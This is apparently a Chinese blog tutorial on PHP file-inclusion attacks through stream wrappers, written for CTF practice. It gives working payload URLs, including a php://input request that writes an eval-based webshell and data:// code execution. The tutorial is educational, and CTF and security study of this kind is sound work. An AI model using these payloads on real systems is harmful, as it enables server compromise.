文件包含

file:// 协议

include()/require()/include_once()/require_once()参数可控的情况下,如导入为非.php文件,则仍按照php语法进行解析,这是include()函数所决定的。
file://[文件的绝对路径和文件名]
http://127.0.0.1/include.php?file=file://E:\phpStudy\PHPTutorial\WWW\phpinfo.txt
在这里插入图片描述

[文件的相对路径和文件名]
http://127.0.0.1/include.php?file=./phpinfo.txt
在这里插入图片描述

php:// 协议
作用:
php:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是php://filter和php://input,php://filter用于读取源码,php://input用于执行php代码。

php://filter/read=convert.base64-encode/resource=[文件名]读取文件源码(针对php文件需要base64编码)

php://input + [POST DATA]执行php代码

http://127.0.0.1/include.php?file=php://input
[POST DATA部分]

<?php phpinfo(); ?>

若有写入权限,写入一句话木马

http://127.0.0.1/include.php?file=php://input
[POST DATA部分]

<?php fputs(fopen('1juhua.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>

data:// 协议
data://text/plain,
data://text/plain;base64,

data://text/plain,

http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>
在这里插入图片描述

data://text/plain;base64,

http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
在这里插入图片描述
http:// & https:// 协议

作用:常规 URL 形式,允许通过 HTTP 1.0 的 GET方法,以只读访问文件或资源。CTF中通常用于远程包含。
http://127.0.0.1/include.php?file=http://127.0.0.1/phpinfo.txt
在这里插入图片描述
phar:// 协议
phar://协议与zip://类似,同样可以访问zip格式压缩包内容,在这里只给出一个示例:

http://127.0.0.1/include.php?file=phar://E:/phpStudy/PHPTutorial/WWW/phpinfo.zip/phpinfo.txt

https://segmentfault.com/a/1190000018991087

https://www.freebuf.com/column/148886.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值